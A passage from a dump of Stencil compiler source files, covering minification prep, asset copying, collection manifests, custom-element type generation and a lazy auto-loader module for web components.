true;\n    opts.format.indent_level = 2;\n    opts.format.comments = 'all';\n  }\n\n  return opts;\n};\n\n/**\n * Get baseline configuration for the 'properties' option for terser's mangle\n * configuration.\n *\n * @returns an object with our baseline property mangling configuration\n */\nfunction getTerserManglePropertiesConfig(): ManglePropertiesOptions {\n  const options = {\n    regex: '^\\\\$.+\\\\$$',\n    // we need to reserve this name so that it can be accessed on `hostRef`\n    // at runtime\n    reserved: ['$hostElement$'],\n  } satisfies ManglePropertiesOptions;\n\n  return options;\n}\n\n/**\n * This method is likely to be called by a worker on the compiler context, rather than directly.\n * @param input the source code to minify\n * @param minifyOpts options to be used by the minifier\n * @param transpileToEs5 if true, use the TypeScript compiler to transpile the input to ES5 prior to minification\n * @param inlineHelpers when true, emits less terse JavaScript by allowing global helpers created by the TypeScript\n * compiler to be added directly to the transpiled source. Used only if `transpileToEs5` is true.\n * @returns minified input, as JavaScript\n */\nexport const prepareModule = async (\n  input: string,\n  minifyOpts: MinifyOptions,\n  transpileToEs5: boolean,\n  inlineHelpers: boolean,\n): Promise<OptimizeJsResult> => {\n  const results: OptimizeJsResult = {\n    output: input,\n    diagnostics: [],\n    sourceMap: null,\n  };\n\n  if (transpileToEs5) {\n    const tsResults = ts.transpileModule(input, {\n      fileName: 'module.ts',\n      compilerOptions: {\n        sourceMap: !!minifyOpts.sourceMap,\n        allowJs: true,\n        target: ts.ScriptTarget.ES5,\n        module: ts.ModuleKind.ESNext,\n        removeComments: false,\n        isolatedModules: true,\n        skipLibCheck: true,\n        noEmitHelpers: !inlineHelpers,\n        importHelpers: !inlineHelpers,\n      },\n      reportDiagnostics: false,\n    });\n    results.output = tsResults.outputText;\n\n    if (tsResults.sourceMapText) {\n      // need to merge sourcemaps at this point\n      const mergeMap = sourceMapMerge(\n        (minifyOpts.sourceMap as SourceMapOptions)?.content as SourceMap,\n        JSON.parse(tsResults.sourceMapText),\n      );\n\n      if (mergeMap != null) {\n        minifyOpts.sourceMap = {\n          content: {\n            ...mergeMap,\n            sources: mergeMap.sources ?? [],\n            version: 3,\n          },\n        };\n      }\n    }\n  }\n\n  if (minifyOpts) {\n    return minifyJs(results.output, minifyOpts);\n  }\n\n  return results;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/copy/assets-copy-tasks.ts",
    "content": "import { join, normalizePath, relative } from '@utils';\nimport { dirname } from 'path';\n\nimport type * as d from '../../../declarations';\n\nexport const getComponentAssetsCopyTasks = (\n  config: d.ValidatedConfig,\n  buildCtx: d.BuildCtx,\n  dest: string,\n  collectionsPath: boolean,\n) => {\n  if (!dest) {\n    return [];\n  }\n\n  // get a list of all the directories to copy\n  // these paths should be absolute\n  const copyTasks: Required<d.CopyTask>[] = [];\n  const cmps = buildCtx.components;\n\n  cmps\n    .filter((cmp) => cmp.assetsDirs != null && cmp.assetsDirs.length > 0)\n    .forEach((cmp) => {\n      if (!collectionsPath) {\n        cmp.assetsDirs.forEach((assetsMeta) => {\n          copyTasks.push({\n            src: assetsMeta.absolutePath,\n            dest: join(dest, assetsMeta.cmpRelativePath),\n            warn: false,\n            ignore: undefined,\n            keepDirStructure: false,\n          });\n        });\n      } else if (!cmp.excludeFromCollection && !cmp.isCollectionDependency) {\n        cmp.assetsDirs.forEach((assetsMeta) => {\n          const collectionDirDestination = join(dest, relative(config.srcDir, assetsMeta.absolutePath));\n          copyTasks.push({\n            src: assetsMeta.absolutePath,\n            dest: collectionDirDestination,\n            warn: false,\n            ignore: undefined,\n            keepDirStructure: false,\n          });\n        });\n      }\n    });\n\n  buildCtx.debug(`getComponentAssetsCopyTasks: ${copyTasks.length}`);\n\n  return copyTasks;\n};\n\nexport const canSkipAssetsCopy = (\n  compilerCtx: d.CompilerCtx,\n  entryModules: d.EntryModule[],\n  filesChanged: string[],\n) => {\n  if (!compilerCtx.hasSuccessfulBuild) {\n    // always copy assets if we haven't had a successful build yet\n    // cannot skip build\n    return false;\n  }\n\n  // assume we want to skip copying assets again\n  let shouldSkipAssetsCopy = true;\n\n  // loop through each of the changed files\n  filesChanged.forEach((changedFile) => {\n    // get the directory of where the changed file is in\n    const changedFileDirPath = normalizePath(dirname(changedFile));\n\n    // loop through all the possible asset directories\n    entryModules.forEach((entryModule) => {\n      entryModule.cmps.forEach((cmp) => {\n        if (cmp.assetsDirs != null) {\n          // loop through each of the asset directories of each component\n          cmp.assetsDirs.forEach((assetsDir) => {\n            // get the absolute of the asset directory\n            const assetDirPath = normalizePath(assetsDir.absolutePath);\n\n            // if the changed file directory is this asset directory\n            // then we should recopy everything over again\n            if (changedFileDirPath === assetDirPath) {\n              shouldSkipAssetsCopy = false;\n              return;\n            }\n          });\n        }\n      });\n    });\n  });\n\n  return shouldSkipAssetsCopy;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/copy/hashed-copy.ts",
    "content": "import { join } from '@utils';\nimport { dirname, extname } from 'path';\n\nimport type * as d from '../../../declarations';\n\n/**\n * Create a copy of a given file in its current directory but with a filename\n * derived by hashing the file contents. This allows us to refer to a file by\n * name and ensure that a given filename always refers to the same file\n * contents.\n *\n * So for instance if you had a directory:\n *\n * ```\n * build\n * └── index.js\n * ```\n *\n * and the contents of `build/index.js` hashed to `1234abcd` then write a\n * file to `build/p-1234abcd.js` with the contents of `build/index.js`,\n * giving:\n *\n * ```\n * build\n * ├── index.js\n * └── p-1234abcd.js\n * ```\n *\n * Assuming that the contents of `build/index.js` did not change re-running\n * this function will produce the same output.\n *\n * @param config the current user-supplied config\n * @param compilerCtx a compiler context\n * @param path the path to read and hash from\n * @returns the newly-written path or undefined if not written\n */\nexport const generateHashedCopy = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  path: string,\n): Promise<string | undefined> => {\n  try {\n    const content = await compilerCtx.fs.readFile(path);\n    const hash = await config.sys.generateContentHash(content, config.hashedFileNameLength);\n    const hashedFileName = `p-${hash}${extname(path)}`;\n    await compilerCtx.fs.writeFile(join(dirname(path), hashedFileName), content);\n    return hashedFileName;\n  } catch (e) {}\n  return undefined;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/copy/local-copy-tasks.ts",
    "content": "import { join } from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../../declarations';\n\nexport const getSrcAbsPath = (config: d.ValidatedConfig, src: string) => {\n  if (isAbsolute(src)) {\n    return src;\n  }\n  return join(config.srcDir, src);\n};\n\nexport const getDestAbsPath = (src: string, destAbsPath: string, destRelPath: string) => {\n  if (destRelPath) {\n    if (isAbsolute(destRelPath)) {\n      return destRelPath;\n    } else {\n      return join(destAbsPath, destRelPath);\n    }\n  }\n\n  if (isAbsolute(src)) {\n    throw new Error(`copy task, \"dest\" property must exist if \"src\" property is an absolute path: ${src}`);\n  }\n\n  return destAbsPath;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/copy/output-copy.ts",
    "content": "import { buildError, isGlob, isOutputTargetCopy, join, normalizePath } from '@utils';\nimport { minimatch } from 'minimatch';\n\nimport type * as d from '../../../declarations';\nimport { canSkipAssetsCopy, getComponentAssetsCopyTasks } from './assets-copy-tasks';\nimport { getDestAbsPath, getSrcAbsPath } from './local-copy-tasks';\n\nconst DEFAULT_IGNORE = [\n  '**/__mocks__/**',\n  '**/__fixtures__/**',\n  '**/dist/**',\n  '**/.{idea,git,cache,output,temp}/**',\n  '**/.ds_store',\n  '**/.gitignore',\n  '**/desktop.ini',\n  '**/thumbs.db',\n];\n\nexport const outputCopy = async (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  const outputTargets = config.outputTargets.filter(isOutputTargetCopy);\n  if (outputTargets.length === 0) {\n    return;\n  }\n\n  const changedFiles = [...buildCtx.filesUpdated, ...buildCtx.filesAdded, ...buildCtx.dirsAdded];\n  const copyTasks: Required<d.CopyTask>[] = [];\n  const needsCopyAssets = !canSkipAssetsCopy(compilerCtx, buildCtx.entryModules, buildCtx.filesChanged);\n  outputTargets.forEach((o) => {\n    if (needsCopyAssets && o.copyAssets) {\n      copyTasks.push(...getComponentAssetsCopyTasks(config, buildCtx, o.dir, o.copyAssets === 'collection'));\n    }\n    copyTasks.push(...getCopyTasks(config, buildCtx, o, changedFiles));\n  });\n\n  if (copyTasks.length > 0) {\n    const timespan = buildCtx.createTimeSpan(`copy started`);\n    let copiedFiles = 0;\n    try {\n      const copyResults = await config.sys.copy(copyTasks, config.srcDir);\n      if (copyResults != null) {\n        buildCtx.diagnostics.push(...copyResults.diagnostics);\n        compilerCtx.fs.cancelDeleteDirectoriesFromDisk(copyResults.dirPaths);\n        compilerCtx.fs.cancelDeleteFilesFromDisk(copyResults.filePaths);\n        copiedFiles = copyResults.filePaths.length;\n      }\n    } catch (e) {\n      const err = buildError(buildCtx.diagnostics);\n      if (e instanceof Error) {\n        err.messageText = e.message;\n      }\n    }\n    timespan.finish(`copy finished (${copiedFiles} file${copiedFiles === 1 ? '' : 's'})`);\n  }\n};\n\nconst getCopyTasks = (\n  config: d.ValidatedConfig,\n  buildCtx: d.BuildCtx,\n  o: d.OutputTargetCopy,\n  changedFiles: string[],\n) => {\n  if (!Array.isArray(o.copy)) {\n    return [];\n  }\n  const copyTasks =\n    !buildCtx.isRebuild || buildCtx.requiresFullBuild ? o.copy : filterCopyTasks(config, o.copy, changedFiles);\n\n  return copyTasks.map((t) => transformToAbs(t, o.dir));\n};\n\nconst filterCopyTasks = (config: d.ValidatedConfig, tasks: d.CopyTask[], changedFiles: string[]) => {\n  if (Array.isArray(tasks)) {\n    return tasks.filter((copy) => {\n      let copySrc = copy.src;\n      if (isGlob(copySrc)) {\n        // test the glob\n        copySrc = join(config.srcDir, copySrc);\n        if (changedFiles.some(minimatch.filter(copySrc))) {\n          return true;\n        }\n      } else {\n        copySrc = normalizePath(getSrcAbsPath(config, copySrc + '/'));\n        if (changedFiles.some((f) => f.startsWith(copySrc))) {\n          return true;\n        }\n      }\n      return false;\n    });\n  }\n  return [];\n};\n\nconst transformToAbs = (copyTask: d.CopyTask, dest: string): Required<d.CopyTask> => {\n  return {\n    src: copyTask.src,\n    dest: getDestAbsPath(copyTask.src, dest, copyTask.dest),\n    ignore: copyTask.ignore || DEFAULT_IGNORE,\n    keepDirStructure:\n      typeof copyTask.keepDirStructure === 'boolean' ? copyTask.keepDirStructure : copyTask.dest == null,\n    warn: copyTask.warn !== false,\n  };\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-collection/index.ts",
    "content": "import {\n  catchError,\n  COLLECTION_MANIFEST_FILE_NAME,\n  flatOne,\n  generatePreamble,\n  isOutputTargetDistCollection,\n  join,\n  normalizePath,\n  relative,\n  sortBy,\n} from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { typescriptVersion, version } from '../../../version';\nimport { mapImportsToPathAliases } from '../../transformers/map-imports-to-path-aliases';\n\n/**\n * Main output target function for `dist-collection`. This function takes the compiled output from a\n * {@link ts.Program}, runs each file through a transformer to transpile import path aliases, and then writes\n * the output code and source maps to disk in the specified collection directory.\n *\n * @param config The validated Stencil config.\n * @param compilerCtx The current compiler context.\n * @param buildCtx The current build context.\n * @param changedModuleFiles The changed modules returned from the TS compiler.\n * @returns An empty promise. Resolved once all functions finish.\n */\nexport const outputCollection = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  changedModuleFiles: d.Module[],\n): Promise<void> => {\n  const outputTargets = config.outputTargets.filter(isOutputTargetDistCollection);\n  if (outputTargets.length === 0) {\n    return;\n  }\n\n  const bundlingEventMessage = `generate collections${config.sourceMap ? ' + source maps' : ''}`;\n  const timespan = buildCtx.createTimeSpan(`${bundlingEventMessage} started`, true);\n  try {\n    await Promise.all(\n      changedModuleFiles.map(async (mod) => {\n        let code = mod.staticSourceFileText;\n        if (config.preamble) {\n          code = `${generatePreamble(config)}\\n${code}`;\n        }\n        const mapCode = mod.sourceMapFileText;\n\n        await Promise.all(\n          outputTargets.map(async (target) => {\n            const relPath = relative(config.srcDir, mod.jsFilePath);\n            const filePath = join(target.collectionDir, relPath);\n\n            // Transpile the already transpiled modules to apply\n            // a transformer to convert aliased import paths to relative paths\n            // We run this even if the transformer will perform no action\n            // to avoid race conditions between multiple output targets that\n            // may be writing to the same location\n            const { outputText } = ts.transpileModule(code, {\n              fileName: mod.sourceFilePath,\n              compilerOptions: {\n                target: ts.ScriptTarget.Latest,\n              },\n              transformers: {\n                after: [mapImportsToPathAliases(config, filePath, target)],\n              },\n            });\n\n            await compilerCtx.fs.writeFile(filePath, outputText, { outputTargetType: target.type });\n\n            if (mod.sourceMapPath) {\n              const relativeSourceMapPath = relative(config.srcDir, mod.sourceMapPath);\n              const sourceMapOutputFilePath = join(target.collectionDir, relativeSourceMapPath);\n              await compilerCtx.fs.writeFile(sourceMapOutputFilePath, mapCode, { outputTargetType: target.type });\n            }\n          }),\n        );\n      }),\n    );\n\n    await writeCollectionManifests(config, compilerCtx, buildCtx, outputTargets);\n  } catch (e: any) {\n    catchError(buildCtx.diagnostics, e);\n  }\n\n  timespan.finish(`${bundlingEventMessage} finished`);\n};\n\nconst writeCollectionManifests = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTargets: d.OutputTargetDistCollection[],\n) => {\n  const collectionData = JSON.stringify(serializeCollectionManifest(config, compilerCtx, buildCtx), null, 2);\n  return Promise.all(outputTargets.map((o) => writeCollectionManifest(compilerCtx, collectionData, o)));\n};\n\n// this maps the json data to our internal data structure\n// mapping is so that the internal data structure \"could\"\n// change, but the external user data will always use the same api\n// over the top lame mapping functions is basically so we can loosely\n// couple core component meta data between specific versions of the compiler\nconst writeCollectionManifest = async (\n  compilerCtx: d.CompilerCtx,\n  collectionData: string,\n  outputTarget: d.OutputTargetDistCollection,\n) => {\n  // get the absolute path to the directory where the collection will be saved\n  const { collectionDir } = outputTarget;\n\n  // create an absolute file path to the actual collection json file\n  const collectionFilePath = join(collectionDir, COLLECTION_MANIFEST_FILE_NAME);\n\n  // don't bother serializing/writing the collection if we're not creating a distribution\n  await compilerCtx.fs.writeFile(collectionFilePath, collectionData);\n};\n\nconst serializeCollectionManifest = (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  // create the single collection we're going to fill up with data\n  const collectionManifest: d.CollectionManifest = {\n    entries: buildCtx.moduleFiles\n      .filter((mod) => !mod.isCollectionDependency && mod.cmps.length > 0)\n      .map((mod) => relative(config.srcDir, mod.jsFilePath)),\n    // Include mixin/abstract class modules that can be extended by consuming projects\n    // These are modules with Stencil static members but no @Component decorator\n    mixins: buildCtx.moduleFiles\n      .filter((mod) => !mod.isCollectionDependency && mod.hasExportableMixins && mod.cmps.length === 0)\n      .map((mod) => relative(config.srcDir, mod.jsFilePath)),\n    compiler: {\n      name: '@stencil/core',\n      version,\n      typescriptVersion,\n    },\n    collections: serializeCollectionDependencies(compilerCtx),\n    bundles: config.bundles.map((b) => ({\n      components: b.components.slice().sort(),\n    })),\n  };\n  if (config.globalScript) {\n    const mod = compilerCtx.moduleMap.get(normalizePath(config.globalScript));\n    if (mod) {\n      collectionManifest.global = relative(config.srcDir, mod.jsFilePath);\n    }\n  }\n  return collectionManifest;\n};\n\nconst serializeCollectionDependencies = (compilerCtx: d.CompilerCtx): d.CollectionDependencyData[] => {\n  const collectionDeps = compilerCtx.collections.map((c) => ({\n    name: c.collectionName,\n    tags: flatOne(c.moduleFiles.map((m) => m.cmps))\n      .map((cmp) => cmp.tagName)\n      .sort(),\n  }));\n\n  return sortBy(collectionDeps, (item) => item.name);\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-custom-elements/custom-elements-build-conditionals.ts",
    "content": "import { isOutputTargetHydrate } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { getBuildFeatures, updateBuildConditionals } from '../../app-core/app-data';\n/**\n * Get build conditions appropriate for the `dist-custom-elements` Output\n * Target, including disabling lazy loading and hydration.\n *\n * @param config a validated user-supplied config\n * @param cmps metadata about the components currently being compiled\n * @returns build conditionals appropriate for the `dist-custom-elements` OT\n */\nexport const getCustomElementsBuildConditionals = (\n  config: d.ValidatedConfig,\n  cmps: d.ComponentCompilerMeta[],\n): d.BuildConditionals => {\n  // because custom elements bundling does not customize the build conditionals by default\n  // then the default in \"import { BUILD, NAMESPACE } from '@stencil/core/internal/app-data'\"\n  // needs to have the static build conditionals set for the custom elements build\n  const build = getBuildFeatures(cmps) as d.BuildConditionals;\n  const hasHydrateOutputTargets = config.outputTargets.some(isOutputTargetHydrate);\n\n  build.lazyLoad = false;\n  build.hydrateClientSide = hasHydrateOutputTargets;\n  build.hydrateServerSide = false;\n  build.asyncQueue = config.taskQueue === 'congestionAsync';\n  build.taskQueue = config.taskQueue !== 'immediate';\n  build.initializeNextTick = config.extras.initializeNextTick;\n\n  updateBuildConditionals(config, build);\n  build.devTools = false;\n\n  return build;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-custom-elements/custom-elements-types.ts",
    "content": "import { dashToPascalCase, isOutputTargetDistCustomElements, join, normalizePath, relative } from '@utils';\nimport { dirname } from 'path';\n\nimport type * as d from '../../../declarations';\n\n/**\n * Entrypoint for generating types for one or more `dist-custom-elements` output targets defined in a Stencil project's\n * configuration\n * @param config the Stencil configuration associated with the project being compiled\n * @param compilerCtx the current compiler context\n * @param buildCtx the context associated with the current build\n * @param typesDir the path to the directory where type declarations are saved\n */\nexport const generateCustomElementsTypes = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  typesDir: string,\n): Promise<void> => {\n  const outputTargets = config.outputTargets.filter(isOutputTargetDistCustomElements);\n\n  await Promise.all(\n    outputTargets.map((outputTarget) =>\n      generateCustomElementsTypesOutput(config, compilerCtx, buildCtx, typesDir, outputTarget),\n    ),\n  );\n};\n\n/**\n * Generates types for a single `dist-custom-elements` output target definition in a Stencil project's configuration\n *\n * @param config the Stencil configuration associated with the project being compiled\n * @param compilerCtx the current compiler context\n * @param buildCtx the context associated with the current build\n * @param typesDir path to the directory where type declarations are saved\n * @param outputTarget the output target for which types are being currently generated\n */\nconst generateCustomElementsTypesOutput = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  typesDir: string,\n  outputTarget: d.OutputTargetDistCustomElements,\n) => {\n  const isBarrelExport = outputTarget.customElementsExportBehavior === 'single-export-module';\n  const isBundleExport = outputTarget.customElementsExportBehavior === 'bundle';\n\n  // the path where we're going to write the typedef for the whole dist-custom-elements output\n  const customElementsDtsPath = join(outputTarget.dir!, 'index.d.ts');\n  // the directory where types for the individual components are written\n  const componentsTypeDirectoryRelPath = relative(outputTarget.dir!, typesDir);\n\n  const components = buildCtx.components.filter((m) => !m.isCollectionDependency);\n\n  const componentsDtsRelPath = relDts(outputTarget.dir!, join(typesDir, 'components.d.ts'));\n\n  // Check for user's index.ts to augment it with Stencil types\n  const usersIndexJsPath = join(config.srcDir, 'index.ts');\n  const hasUserIndex = await compilerCtx.fs.access(usersIndexJsPath);\n  const userIndexRelPath = hasUserIndex ? normalizePath(dirname(componentsDtsRelPath)) : null;\n\n  const code = [\n    // To mirror the index.js file and only export the typedefs for the\n    // entities exported there, we will re-export the typedefs iff\n    // the `customElementsExportBehavior` is set to barrel component exports\n    ...(isBarrelExport\n      ? [\n          `/* ${config.namespace} custom elements */`,\n          ...components.map((component) => {\n            const exportName = dashToPascalCase(component.tagName);\n            const importName = component.componentClassName;\n\n            // typedefs for individual components can be found under paths like\n            // $TYPES_DIR/components/my-component/my-component.d.ts\n            //\n            // To construct this path we:\n            //\n            // - get the relative path to the component's source file from the source directory\n            // - join that relative path to the relative path from the `index.d.ts` file to the\n            //   directory where typedefs are saved\n            const componentSourceRelPath = relative(config.srcDir, component.sourceFilePath).replace(/\\.tsx$/, '');\n            const componentDTSPath = join(componentsTypeDirectoryRelPath, componentSourceRelPath);\n\n            const defineFunctionExportName = `defineCustomElement${exportName}`;\n            // Get the path to the sibling typedef file for the current component\n            // When we bundle the code to generate the component JS files it generates\n            // the JS and typedef files based on the component tag name. So, we can\n            // just use the tagname to create the relative path\n            const localComponentTypeDefFilePath = `./${component.tagName}`;\n\n            return [\n              `export { ${importName} as ${exportName} } from '${\n                componentDTSPath.startsWith('.') ? componentDTSPath : './' + componentDTSPath\n              }';`,\n              // We need to alias each `defineCustomElement` function typedef to match the aliased name given to the\n              // function in the `index.js`\n              `export { defineCustomElement as ${defineFunctionExportName} } from '${localComponentTypeDefFilePath}';`,\n            ].join('\\n');\n          }),\n          ``,\n        ]\n      : []),\n    `/**`,\n    ` * Get the base path to where the assets can be found. Use \"setAssetPath(path)\"`,\n    ` * if the path needs to be customized.`,\n    ` */`,\n    `export declare const getAssetPath: (path: string) => string;`,\n    ``,\n    `/**`,\n    ` * Used to manually set the base path where assets can be found.`,\n    ` * If the script is used as \"module\", it's recommended to use \"import.meta.url\",`,\n    ` * such as \"setAssetPath(import.meta.url)\". Other options include`,\n    ` * \"setAssetPath(document.currentScript.src)\", or using a bundler's replace plugin to`,\n    ` * dynamically set the path at build time, such as \"setAssetPath(process.env.ASSET_PATH)\".`,\n    ` * But do note that this configuration depends on how your script is bundled, or lack of`,\n    ` * bundling, and where your assets can be loaded from. Additionally custom bundling`,\n    ` * will have to ensure the static assets are copied to its build directory.`,\n    ` */`,\n    `export declare const setAssetPath: (path: string) => void;`,\n    ``,\n    `/**`,\n    ` * Used to specify a nonce value that corresponds with an application's CSP.`,\n    ` * When set, the nonce will be added to all dynamically created script and style tags at runtime.`,\n    ` * Alternatively, the nonce value can be set on a meta tag in the DOM head`,\n    ` * (<meta name=\"csp-nonce\" content=\"{ nonce value here }\" />) which`,\n    ` * will result in the same behavior.`,\n    ` */`,\n    `export declare const setNonce: (nonce: string) => void`,\n    ``,\n    `export interface SetPlatformOptions {`,\n    `  raf?: (c: FrameRequestCallback) => number;`,\n    `  ael?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;`,\n    `  rel?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;`,\n    `}`,\n    `export declare const setPlatformOptions: (opts: SetPlatformOptions) => void;`,\n    // Always export user's index.ts types if it exists (matching JS behavior)\n    ...(userIndexRelPath ? [``, `export * from '${userIndexRelPath}';`] : []),\n    ...(isBundleExport\n      ? [\n          ``,\n          `/**`,\n          ` * Utility to define all custom elements within this package using the tag name provided in the component's source.`,\n          ` * When defining each custom element, it will also check it's safe to define by:`,\n          ` *`,\n          ` * 1. Ensuring the \"customElements\" registry is available in the global context (window).`,\n          ` * 2. Ensuring that the component tag name is not already defined.`,\n          ` *`,\n          ` * Use the standard [customElements.define()](https://developer.mozilla.org/en-US/docs/Web/API/CustomElementRegistry/define)`,\n          ` * method instead to define custom elements individually, or to provide a different tag name.`,\n          ` */`,\n          `export declare const defineCustomElements: (opts?: any) => void;`,\n        ]\n      : []),\n  ];\n\n  // Export from components.d.ts for barrel exports if user doesn't have an index.ts\n  if (isBarrelExport && !userIndexRelPath) {\n    code.push(`export * from '${componentsDtsRelPath}';`);\n  }\n\n  await compilerCtx.fs.writeFile(customElementsDtsPath, code.join('\\n') + `\\n`, {\n    outputTargetType: outputTarget.type,\n  });\n\n  await Promise.all(\n    components.map(async (cmp) => {\n      const dtsCode = generateCustomElementType(componentsDtsRelPath, cmp);\n      const fileName = `${cmp.tagName}.d.ts`;\n      const filePath = join(outputTarget.dir!, fileName);\n      await compilerCtx.fs.writeFile(filePath, dtsCode, { outputTargetType: outputTarget.type });\n    }),\n  );\n\n  // Generate loader.d.ts if autoLoader is enabled\n  if (outputTarget.autoLoader) {\n    const loaderFileName =\n      typeof outputTarget.autoLoader === 'object' ? outputTarget.autoLoader.fileName || 'loader' : 'loader';\n    const loaderDtsPath = join(outputTarget.dir!, `${loaderFileName}.d.ts`);\n    const loaderDtsCode = generateLoaderType();\n    await compilerCtx.fs.writeFile(loaderDtsPath, loaderDtsCode, { outputTargetType: outputTarget.type });\n  }\n};\n\n/**\n * Generate a type declaration file for the auto-loader module\n * @returns the contents of the type declaration file for the loader\n */\nconst generateLoaderType = (): string => {\n  return [\n    `/**`,\n    ` * Start the auto-loader, scanning the DOM and watching for changes.`,\n    ` * The loader uses MutationObserver to detect when custom elements are added`,\n    ` * to the DOM and lazily loads their definitions.`,\n    ` * @param root - The root element to observe (default: document.body)`,\n    ` */`,\n    `export declare function start(root?: Element): void;`,\n    ``,\n    `/**`,\n    ` * Stop the auto-loader and disconnect the MutationObserver.`,\n    ` */`,\n    `export declare function stop(): void;`,\n    ``,\n  ].join('\\n');\n};\n\n/**\n * Generate a type declaration file for a specific Stencil component\n * @param componentsDtsRelPath the path to a root type declaration file from which commonly used entities can be\n * referenced from in the newly generated file\n * @param cmp the component to generate the type declaration file for\n * @returns the contents of the type declaration file for the provided `cmp`\n */\nconst generateCustomElementType = (componentsDtsRelPath: string, cmp: d.ComponentCompilerMeta): string => {\n  const tagNameAsPascal = dashToPascalCase(cmp.tagName);\n  const o: string[] = [\n    `import type { Components, JSX } from \"${componentsDtsRelPath}\";`,\n    ``,\n    `interface ${tagNameAsPascal} extends Components.${tagNameAsPascal}, HTMLElement {}`,\n    `export const ${tagNameAsPascal}: {`,\n    `    prototype: ${tagNameAsPascal};`,\n    `    new (): ${tagNameAsPascal};`,\n    `};`,\n    `/**`,\n    ` * Used to define this component and all nested components recursively.`,\n    ` */`,\n    `export const defineCustomElement: () => void;`,\n    ``,\n  ];\n\n  return o.join('\\n');\n};\n\n/**\n * Determines the relative path between two provided paths. If a type declaration file extension is present on\n * `dtsPath`, it will be removed from the computed relative path.\n * @param fromPath the path from which to start at\n * @param dtsPath the destination path\n * @returns the relative path from the provided `fromPath` to the `dtsPath`\n */\nconst relDts = (fromPath: string, dtsPath: string): string => {\n  dtsPath = relative(fromPath, dtsPath);\n\n  return normalizePath(dtsPath.replace('.d.ts', ''), true);\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-custom-elements/generate-loader-module.ts",
    "content": "import type * as d from '../../../declarations';\nimport { STENCIL_INTERNAL_CLIENT_ID } from '../../bundle/entry-alias-ids';\n\n/**\n * Generate the auto-loader module content that will be bundled via Rollup.\n * This loader uses MutationObserver to lazily load and define custom elements\n * as they appear in the DOM.\n *\n * @param components - The list of components to include in the loader\n * @param outputTarget - The output target configuration\n * @returns The generated loader module source code\n */\nexport const generateLoaderModule = (\n  components: d.ComponentCompilerMeta[],\n  outputTarget: d.OutputTargetDistCustomElements,\n): string => {\n  const autoLoaderConfig = outputTarget.autoLoader;\n  const autoStart = typeof autoLoaderConfig === 'object' ? autoLoaderConfig.autoStart !== false : true;\n\n  // Build component map: { 'my-button': './my-button.js', ... }\n  const componentMap = components.map((cmp) => `  '${cmp.tagName}': './${cmp.tagName}.js'`).join(',\\n');\n\n  return `\nimport { transformTag } from '${STENCIL_INTERNAL_CLIENT_ID}';\n\n/**\n * Component map built at compile time.\n * Maps original tag names to their module paths.\n */\nconst components = {\n${componentMap}\n};\n\n/**\n * Set of tags that have already been loaded/registered.\n * Prevents duplicate loading attempts.\n */\nconst defined = new Set();\n\n/**\n * MutationObserver instance for watching DOM changes.\n */\nlet observer;\n\n/**\n * Build a lookup map using transformed tag names.\n * This is called at runtime to account for any tag transformers\n * that may have been set via setTagTransformer().\n */\nfunction getTransformedLookup() {\n  const lookup = {};\n  for (const [tag, path] of Object.entries(components)) {\n    lookup[transformTag(tag)] = { originalTag: tag, path };\n  }\n  return lookup;\n}\n\n/**\n * Scan a root element for undefined custom elements and load them.\n * @param root - The root element to scan\n * @param lookup - The transformed tag lookup map\n */\nasync function load(root, lookup) {\n  const rootTag = root instanceof Element ? root.tagName.toLowerCase() : '';\n  const tags = [...root.querySelectorAll(':not(:defined)')]\n    .map(el => el.tagName.toLowerCase())\n    .filter(tag => lookup[tag] && !defined.has(tag));\n\n  // Also check the root element itself\n  if (rootTag && lookup[rootTag] && !defined.has(rootTag)) {\n    tags.push(rootTag);\n  }\n\n  // Load unique tags in parallel\n  await Promise.allSettled([...new Set(tags)].map(tag => register(tag, lookup)));\n}\n\n/**\n * Register a single component by importing its module.\n * @param transformedTag - The transformed tag name (as it appears in the DOM)\n * @param lookup - The transformed tag lookup map\n */\nasync function register(transformedTag, lookup) {\n  // Skip if already defined or being defined\n  if (defined.has(transformedTag) || customElements.get(transformedTag)) {\n    defined.add(transformedTag);\n    return;\n  }\n\n  // Mark as being processed to prevent duplicate attempts\n  defined.add(transformedTag);\n  const { path } = lookup[transformedTag];\n\n  try {\n    const module = await import(path);\n    // Call defineCustomElement if exported (handles component + dependencies)\n    if (typeof module.defineCustomElement === 'function') {\n      module.defineCustomElement();\n    }\n  } catch (e) {\n    console.error(\\`[Stencil Loader] Failed to load <\\${transformedTag}>\\`, e);\n    // Remove from defined set to allow retry\n    defined.delete(transformedTag);\n  }\n}\n\n/**\n * Start the auto-loader, scanning the DOM and watching for changes.\n * @param root - The root element to observe (default: document.body)\n */\nexport function start(root = document.body) {\n  const lookup = getTransformedLookup();\n\n  // Disconnect any existing observer\n  if (observer) {\n    observer.disconnect();\n  }\n\n  // Create MutationObserver to watch for new elements\n  observer = new MutationObserver(mutations => {\n    for (const { addedNodes } of mutations) {\n      for (const node of addedNodes) {\n        if (node.nodeType === Node.ELEMENT_NODE) {\n          load(node, lookup);\n        }\n      }\n    }\n  });\n\n  // Initial scan of existing DOM\n  load(root, lookup);\n\n  // Start observing for new elements\n  observer.observe(root, { 